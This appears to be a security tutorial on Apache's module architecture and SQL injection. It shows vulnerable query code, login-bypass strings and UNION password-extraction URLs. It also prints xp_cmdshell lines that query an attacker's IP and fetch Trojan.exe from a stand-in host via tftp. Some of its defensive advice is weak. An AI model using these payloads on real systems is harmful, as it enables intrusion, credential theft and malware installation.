With about a 54-56 per cent share of the Web server market, according to a survey by netcraft.com, Apache is the second most famous project in the open source world, after Linus Torvalds’ Linux kernel. It is, indeed, a de facto standard for Web applications. However, because of the high market share, it has always been a hunting ground for attackers, and is still vulnerable to many known and unknown malicious attacks. An unsecured Apache server can have a devastating effect on your website, the server as a whole, and also on your reputation, if your site is broken into.
However, the response to that is to secure our Web applications and Web server framework — and that’s what we will be doing in this series. Starting with an introduction to Apache’s architecture, we will look at the many attacks that are possible on your Apache Web server or Web application — and of course, we look at some good security solutions, too. Some golden advice, before we start: read these articles with an attacker’s mindset, to gain the upper hand and keep your server secured.
It’s quite obvious that to secure any system, you need to start with a good knowledge of its architecture. This section looks at Apache’s innards, making it clear how Apache handles applications and modules. The components shown have high interactivity with each other, and that makes security a complex issue. Each type of external system (a database, an LDAP server, a Web service) uses a different language, and allows for different attack vectors, increasing the chances of a security failure.
Figure 1 illustrates a typical Apache server set-up, with an overview of Apache components.
The core of Apache implements the basic functionality of the Web server. The following are its main components:
http_protocol.c— contains functions that handle all the data transfers to the client, following the HTTP protocol.
http_request.c— handles the flow of request processing, and controls the dispatching of work to modules, in the appropriate order. It is also responsible for error handling.
http_main.c— starts up the server; this contains the main server loop that waits for, and accepts, connections. It is also in charge of managing timeouts.
http_core.c— is the base component that implements Apache’s basic functionality. Although this component also uses the Apache module API, it is a special one; it has a non-standard file name,
http_core, instead of the expected
mod_core. It behaves like a module, but has access to some globals directly, which is not characteristic of a module.
http_config.c— is responsible for managing information about virtual hosts and reading configuration files; it also maintains a list of modules that are called in response to requests.
Apache also supports a variety of features, many implemented as compiled modules, which extend the core functionality. These can range from CGI or PHP support, to authentication and logging schemes. Modules do not interact directly with one another; they interact through the core, since the core contains linked lists of installed modules and their handlers.
Each module has handlers defined for it — for actions like sending a file back to the client (send-as-is handler), treating a file as a CGI script (cgi-script handler) or parsing it for SSI (server-side includes — the server-parsed handler), and many others. Each handler represents a specific action to be performed when a request is received. The core calls the specific handler, thus invoking the module that has defined that handler, for a specific request.
After successful installation and basic configuration of Apache, the first thing you need to do, from the security perspective, is to carefully select your active module set. You should disable the enabled modules (by default) like
mod_include, unless you have a sound reason for keeping them enabled.
Why, you may well ask. It’s simple — they can expose your server to attack, or yield useful information to an attacker. The first two modules expose the Web server configuration and real-time information as Web pages. The
mod_userdir module allows each user account on the server to have a personal website in the home directory, accessible via a
<server URL>/~username alias.
Apache returns error 404 when a user account, whose personal site is requested, doesn’t exist; and it returns error 403 when a website is not found in that user’s home folder. The errors generated expose valid user account names on the server; it is a common ploy for attackers to try to log in to the server with these discovered accounts, and with commonly used weak passwords. Once they obtain a shell session on the server, there are several privilege-escalation techniques they can try to become the superuser.
mod_include module provides scripting functionality. Though powerful, there are many malicious exploits available that are designed specifically for this module. Disable it if you don’t need it!
Phases in Apache request processing
For Apache to return a complete response to a client request, more than one module is needed. As already noted, all the modules communicate with or respond to each other through the core. Thus, control is switched back and forth between the core and different modules. All this is done by dividing the request into a set of different phases; let’s look at each of the typical request-to-response phases.
URI to file-name translation phase
In a normally configured server, two basic modules,
mod_rewrite, are used in this phase. (However, you should already have disabled
mod_userdir, for reasons stated above.) The
mod_rewrite module provides you with a flexible mechanism for rewriting the requested URL to a new one. It uses custom rules, which state that if a predefined pattern is found in the requested URL, then it is rewritten to a new one. It is a good idea to install this module, since it reduces the chances of malicious codes in the URL (such as local and remote file inclusions, which we’ll discuss in upcoming sections).
The authentication and authorisation phase
This phase has sub-phases:
- Checking the host address and other available information: Here,
mod_accesscomes into the picture. Basically,
mod_accessenables you to authorise access based on the host name or IP address from which the request came.
- Authenticating user ID in the HTTP request: Here
mod_auth, the default authentication module, is used. It enables you to authenticate users whose credentials (a username and an encrypted password) are stored in text files. From the security perspective, this module is not recommended, since it is not designed to handle a large number of users. Just a few thousand user requests can cause lookup performance to drop dramatically, which may suggest a syn-flooding DoS attack to an attacker. To deal with this problem, we’ll be using traffic-shaping modules in subsequent sections. The
mod_auth_anonmodule is used for anonymous authentication.
Determining the MIME type of request
In this phase, the content type, encoding, language and other related parameters of the request are worked upon. The
mod_mime_magic basic modules are used here. The former enables Apache to determine MIME type by using file extensions, and provides clients with meta-information about documents. It also enables you to define a handler to determine how the document is processed.
mod_mime_magic module does the same task, but by comparing the first few bytes of the file with a magic value stored in a file. It is only needed when
mod_mime fails to determine a known MIME type.
The fixing-up phase
mod_alias module works to map one part of the user-perceived file system to another. For example, if a request is received for
http://www.example.com/info/info.php, then it can be redirected to
http://www.example.com/info/lfu/info.php. In such tasks,
mod_rewrite has the upper hand over
mod_rewrite can also map URLs with different hostnames, and can perform complicated tasks such as manipulating the query string.
Also in this phase, the
mod_env module is used to enable you to pass environment variables to external programs, such as CGI, PHP, mod_perl scripts, or SSIs.
The response phase
This phase can use different modules to create a response. For example:
mod_asis can be used for static pages; it enables you to send documents “as-is” to clients, without HTTP headers. This can be useful when redirecting clients without the help of any scripting.
mod_cgi invokes CGI scripts and returns the result.
mod_include handles server-side includes. (Typically, an SSI is an HTML page with embedded commands for Apache and many others.)
The request logging phase
Knowing who (or what) is accessing your website is very important for security reasons. Apache provides you with
mod_log_config, which is responsible for basic logging, and writes CLF files by default. In addition,
mod_usertrack can log information on cookies, which is also crucial.
Have a look at the official Apache docs for a complete list of modules, with links to pages documenting their use and directives. Module directives are configured in
/etc/httpd.conf, Apache’s main configuration file.
These concepts on Apache might have been just revision for you, but we will move to learning how to use these to secure Apache configurations, in articles that follow this one. For now, though, we take a look at something else that is important from the security perspective!
What do you use Apache for? Obviously, to let the world access your Web applications! Now, if your Web application itself has security flaws, then it’s no use trying to create even the most secure configuration for the Apache Web server, because an attacker can enter your site without restriction, through a flawed Web application!
This is what our next section focuses on: identifying the potential flaws in your Web application, beginning with the most common ones, and on how to seal the holes so attackers face a much more secured Web application.
Securing your applications — learn how break-ins occur
Shown in Figure 2 is a typical client-server Web architecture, which also indicates various attack vectors, or ways in which Web application attacks affect the regular data flow.
We will cover each of these in this series of articles, beginning with injection flaws.
Injection flaws are so named because when they are used, malicious attacker-supplied data flows through the application, crosses system boundaries, and gets injected into other system components. These are fairly dangerous attacks, and mostly work because a string that is harmless for PHP (or another website scripting language) can turn into a dangerous weapon when it reaches the database. Such flaws and attacks are particularly important, since they can affect any dynamic Web application that has not been tested and carefully secured against such holes. We will now take a closer look at the most often encountered injection flaw, SQL injection.
Warning:The attack techniques discussed below are intended only as information to help you secure your Web application. Do NOT attempt to use any of these techniques on any server on the Internet, at your workplace, on any network or server that you do not own yourself — unless you have written permission from the owner of the server and network to conduct such testing! Indian law provides for prosecution, fines, and even jail terms for breaking into computers that you do not own.
Also note that if you have a website of your own, hosted by a hosting provider, or on a rented physical server, the server and network do NOT belong to you even though you own the website content. You should ideally obtain permission from such hosting providers/server owners to carry out even “testing” probes on your own website/Web application.
The ideal way to test your Web application would be on your own private LAN—or even better, to create a virtual machine on your personal computer, in which you run Apache and a database server, and host a copy of your Web application. You can then do your testing against the virtual machine, without running afoul of cyber laws.
SQL injection is an exploit in which the attacker injects SQL code into a request to the server (generally through an HTML form input box), to gain access to the backend database, or to make changes in it. If not sanitised properly, SQL injection attacks on your Web application could allow attackers to even ruin your website, besides extracting confidential data.
Website features such as login pages, feedback forms, search pages, shopping carts, etc., that use databases, are more prone to SQL injection attacks. The attacker injects specially crafted SQL commands or statements into the form, trying to achieve various results. Almost all scripting technologies — ASP, ASP.NET, PHP, JSP and CGI — are vulnerable to this attack if they use MS SQL Server, Oracle, MySQL, Postgres or DB2 as their database.
Basic knowledge of SQL commands, and some creative guess work, is all it takes to penetrate an unsecured application. Network firewalls and IDSs (Intrusion Detection Systems) might not help, since they provide filters on HTTP, SSL and other Web traffic ports — but the communication with the database is still unsecured.
Most programmers are still not aware of the problem, and the scenario seems to be getting worse: the Web security consortium informs us that SQL injection comprised over 7 per cent of all Web vulnerabilities present in every 15,000 applications that it scanned!
SQL injection via a login form
Let’s take a common vulnerable code snippet in an ASP page, which generates a login validation query that is meant to be run on an MS SQL server database:
var sql = "SELECT * FROM Users WHERE usr= ' " + user + " ' AND password=' " + paswd + " ' ";
In case a valid user enters (into the ASP login page) his username as “arpit”, and his password as “bajpai”, then the generated query becomes:
SELECT * FROM Users WHERE usr='arpit' AND password='bajpai'
That’s pretty innocuous, and exactly what the person who wrote the ASP code intended. However, note what happens if an attacker submits malicious text in the username field — something like
' or 1=1 --, then the query becomes…
SELECT * FROM Users WHERE usr=' ' or 1=1 -- AND password=' '
Because a pair of hyphens designates the beginning of the comment in SQL Server’s T-SQL, the effective
query is now:
SELECT * FROM Users WHERE usr=' ' or 1=1
For readers who don’t know SQL, this translates to, “where the user field is blank, OR 1=1”.
The trick is that for the logical
OR condition, this will always evaluate to True, since one of the operands to the
OR statement is True. Thus, this query returns multiple user records, which validates the malicious login!
It doesn’t stop there, however: since most Web applications have their “administrator” user account added to the Users table as the first thing during development, the ASP code in the login page sees that record as the first returned record, and assumes it is the admin user logging in! A person, who doesn’t even know a valid username and password, is given administrative permissions in your Web application…
SQL injection via query string (URL)
An attacker might also attempt an SQL injection attack by adding SQL to the URL. How does that work? Let’s look closely at an example. Assume a database with table and rows as created and populated by this SQL:
CREATE TABLE Products ( ID INT identity(1,1) NOT NULL, prodName VARCHAR(50) NOT NULL, ) INSERT INTO PRODUCTS (prodName) VALUES (‘Dell laptops') INSERT INTO PRODUCTS (prodName) VALUES ('Nokia express music') INSERT INTO PRODUCTS (prodName) VALUES (‘Samsung dual sim range')
Let’s also assume that we have the following ASP script, called
products.asp, on the site; it uses the database with the above table.
<% dim prodId prodId = Request.QueryString("productId") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select prodName from products where id = " & prodId conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Got product " & rs.fields("prodName").value else response.write "No product found" end if %>
If we visit
products.asp in our browser with the (normal) URL:
http://www.example.com/products.asp?productId=1 then we will see the result is “Got product Dell laptop”. The parameter is taken directly from the query string (submitted URL) and concatenated to the
WHERE clause of the query, so the query generated by passing
productId=1 in the URL is:
SELECT prodName FROM products WHERE id = 1
Now, if the attacker tampers with the URL and submits something like
1=1 then the constructed query becomes:
SELECT prodName FROM products WHERE id = 0 or 1=1
This would produce an error as shown in Figure 3, or something similar.
You can also see the error exposing the products fields such as
products.prodName. The attacker can use this information maliciously, to insert or delete data from the table. For example, here is a sample malicious query injection:
http://localhost/products.asp?productId=0;INSERT INTO products(prodName) VALUES(left(@@version,50))
Basically, it returns “No product found”; however, it may also run an
INSERT query, adding the first 50 characters of SQL Server’s
@@version variable (which contains the details of SQL Server’s version, build, etc.,) as a new record in the Products table. The attacker can then use this information to research specific exploits for that version of SQL Server.
Many programmers might suggest that they use double quotes instead of single quotes for security, but this is only a halfway measure because there are always numeric fields or dates within forms or parameters, which will still remain vulnerable just like the example shown below, using PHP/MySQL, which takes a query that uses no single quotes as part of the syntax.
$a = "SELECT * FROM accountsWHERE account = $acct AND pin = $pin";
Now, the attacker injects, into the HTML form fields meant to accept numbers, as
$acct= a or a=a # $pin = 1234. The resultant query would be like the following:
SELECT * FROM accounts WHERE account = a or a=a# AND pin = 1234
(In this case, the comment character is
# instead of the double dash because the database is MySQL. Other such strings used by attackers are
' or a=a -- , ' or
'x'='x, 1' or
'1'='1, ' or
0=0 #, " or
"a"="a, ') or
('a'='a), etc. Notice the power of single quotes in such strings.
Running system commands on SQL Server
By attacking an SQL Server, an attacker can also gather IP address information through reverse lookups, by running system commands. For example (a.b.c.d represents the attacker’s IP address):
';EXEC master..xp_cmdshell "nslookup example.com a.b.c.d"
When this fragment is injected, the SQL backend will now execute an nslookup using the attacker’s system as the name server. Attackers can use multiple methods, including a network sniffer like
tcpdump, on their box, to find the IP address that made the DNS query. If it is a public IP address, the attackers have gained crucial information: they can then compile and launch exploits against that IP address, which are tailored to the operating system and database software.
It is sometimes possible, even if the SQL Server machine doesn’t have a public IP address, that an attacker can download a Trojan or backdoor program onto the SQL Server (a.b.c.d is the IP address of a server hosting the malware program):
';EXEC master..xp_cmdshell "tftp –i a.b.c.d GET Trojan.exe c:Trojan.exe"
The downloaded program could be launched with another
xp_cmdshell invocation. It could do many things at this point, including connecting outward to the attacker’s IP address, to provide the attacker with a direct channel to command the server operating system. If the SQL Server software is running as the Windows Administrator user, which is an all too common shortcut that people take when installing — then the attackers now effectively “own” the server. They can then transfer files from the server, using
tftp, which could include confidential, financial or even system password files.
More than that, the attackers are now “inside” the private network — they can locally access other systems on the LAN, and try to break into them, something that they could not do directly because the LAN was protected by a firewall blocking connections from the Internet, except for proper requests like HTTP/HTTPS to the Web server.
If you want more practical examples of this attack vector, there are a whole bunch of videos available on YouTube and Metacafe.
Penetration-testing for the SQL injection vulnerability
Let’s take a look at the methodology adopted by many penetration testers to check for SQL injection vulnerability.
Scanning for entry points
This initial stage is to find vulnerable entry points such as fields in entry forms, values stored in cookies, and hidden fields. For this, the fuzzing technique is used to send specific string combinations with SQL characters and words. An unexpected error response, or a change in application behaviour, indicates a vulnerable point that may afford an attacker entry.
|Fuzzing is an automated software testing technique that provides invalid, unexpected data as input to the application. If the application responds unexpectedly, or shows reduced performance, it can be noted for further action.|
The next step is to gather as much information as possible about the underlying application, by going through the following steps:
- Errors in responses: For the attacker, the easiest situation would be to have the results of the modified query displayed as part of the Web server’s response. If the Web server (Apache, in this case) is configured to display error messages, a lot of information can be extracted through them. For example, a 403 error page on Apache’s website shows “apache/2.2.12 (unix) mod_ssl/2.2.12 openSSL/0.9.7d mod_wsgi/3.2 python/2.6.5rc2 server at httpd.apache.org port 80”. The information includes specific software component information and version numbers, including the version number of Apache. This can be used by attackers to run exploits known to work for a particular version. Moreover, database error messages may also leak information about the table or database structure — for example, an error message saying that some columns have not been grouped, when you inject a
HAVINGclause into a
- Guessing the database:Most of the time, error responses also help in guessing the databases in use. For example, if the Web server is Apache, and the website is built using PHP, then chances are the database is MySQL. If the website is in ASP, then it’s likely that it uses an MS SQL Server database. However, a more effective way of distinguishing databases is the table provided by the OWASP Web application security project, which is shown in Figure 4. You can relate keywords in error messages from queries that you inject, with those in Figure 4, to guess the database.
- Understanding the query: It is important to know in what kind of query, and in which part of the query, our injection landed. It could be part of a
CREATEstatement — or could be part of a sub-query too. Start by determining which field is doing what with your input. For example, in the “Change Your Password” page, the SQL code may be:
SET password = 'new password' WHERE login = user AND password = 'old password'. Here, if you inject a new password and a comment character in the “New Password” field, you may end up changing every password in the table to the one you specified. In the same manner, we can guess a
SELECTquery structure, for example, by looking at the output of
' and '1'='1and
'and '1'='2. You can also generate specific errors to determine table and column names, like:
' GROUP BY columnnames HAVING 1=1 --. You can inject entire queries after a query termination character, as we saw earlier, to help in determining table names and columns. For MySQL, the query is
SHOW columns FROM tablename, while in Oracle it would be
SELECT * FROM tab_column WHERE table_name= 'tablename'. Similarly, DB2, Postgres, etc., have their own syntax.
- Time to penetrate: Once basic information about the database, the query structure and privileges is known, the penetration is started. Extracting data is easy once the database has been enumerated, and the query is understood. For example, to get the password for the login name “admin” we would try the malicious URL:
http://www.example.com/products.asp?id=0;UNION SELECT TOP 1 password FROM account_table WHERE login_name='admin'--. The same applies to any other specific login name. You can also extract a password from hashes by converting the hashes kept in binary form to a hex format, and that can be displayed as part of an error message.
We have covered a lot about SQL injection attacks so far, but if you want to know more, explore the “References section” at the end of the article. Now, the biggest question left to be answered is: How do we make our present Web applications attack-proof — or at least, as hostile as possible to malicious SQL injectors? The answer is, carefully follow these tips given below:
- The best way to check whether your website and applications are vulnerable to SQL injection attacks is by using automated and heuristic Web vulnerability scanners (see the “Web App Security Checking” box below). These can also check for cross-site-scripting attacks, and many more attacks that we will be dealing with in later articles.
Web App Security Checking To know about the present vulnerabilities of your Web applications, use scanners that notify you about any dangerous threats that your application and Web server is facing. Scanners such as Webinspect, Nikto and Whisker top the list. Acunetix also provides a trial-based commercial Web scanner that is also popular among security professionals.
- Input validation is the most important part of defending yourself against SQL injection. If the input is supposed to be numeric, use a separate variable in your server-side scripts to store it, and reject bad input, rather than attempting to escape or modify it.
- Implement filters against keywords like
drop, and special characters like
- Try to use encrypted cookies, and not to store values in hidden fields.
- Make sure you run database services as a low-privilege user account. Remove unused stored procedures and functionality, or restrict access to those, to administrators. Also change permissions and remove “public” access to system objects. If the application only requires read access to certain tables, then the account for that application must be limited to read access only. Don’t forget to firewall the server so that only trusted clients can connect to it.
- Close off linked servers, such as FTP servers or Samba services that connect to the same system on which your database runs. Also, close unused network protocol ports, such as telnet and TFTP ports, when you don’t need them. This restricts attackers trying to upload Trojans or rootkits into your system through these ports.
- Avoid using different databases linked together by a single application, as they may create code complexity, which ultimately may create loopholes for intruders.
- As far as passwords are concerned, keep auditing them and change them regularly. Use complex passwords that are above 16 characters in length — this makes it hard for many brute-forcing programs to crack them. You can also set password validations that ask users to enter complex passwords. Encrypt and hash passwords and other sensitive data; never store them in clear-text. Encrypting connection strings is also a good practice.
- Add extra code in your scripts to log IP addresses that visit your site, and block suspicious IPs. You can also add scripts to show warnings like, “WARNING: Attacker, your IP address x.y.z.w has been logged. Legal action will be taken against you if your intentions are malicious.”
- If you can, use databases which are not commonly used, because they should have less known exploits against them. Regularly consult your system vendor for security and performance hot-fixes and related patches.
- Use these tools of the security industry:
- SQLninja is an automatic testing tool to exploit SQL-injection-vulnerable applications. It performs extensive DBMS back-end fingerprinting and brute forcing on account passwords. View more details at here.
- Greensql is an open source database firewall that tries to protect against SQL injection errors. View its documentation here.
- You can also go for the SQL injection blocking tool, SQLblock ODBC edition. It has an SQL injection prevention feature, which works as an ordinary ODBC/JDBC data source, and monitors every SQL statement being executed. It alerts the administrator if any malicious or forbidden SQL statement is encountered.
- Since SQL injection has the dubious distinction of being the attack that any malicious attacker learns first, it is the first we have covered, and in depth. For more detailed information on SQL injection and other programming defences, don’t forget to visit www.owasp.org.
We will deal with cross-site scripting (XSS), command execution and many other dangerous attacks on Web applications and Apache in the next article. Meanwhile, you can leave your queries and feedback in the comments section below.
Always remember: know hacking, but no hacking.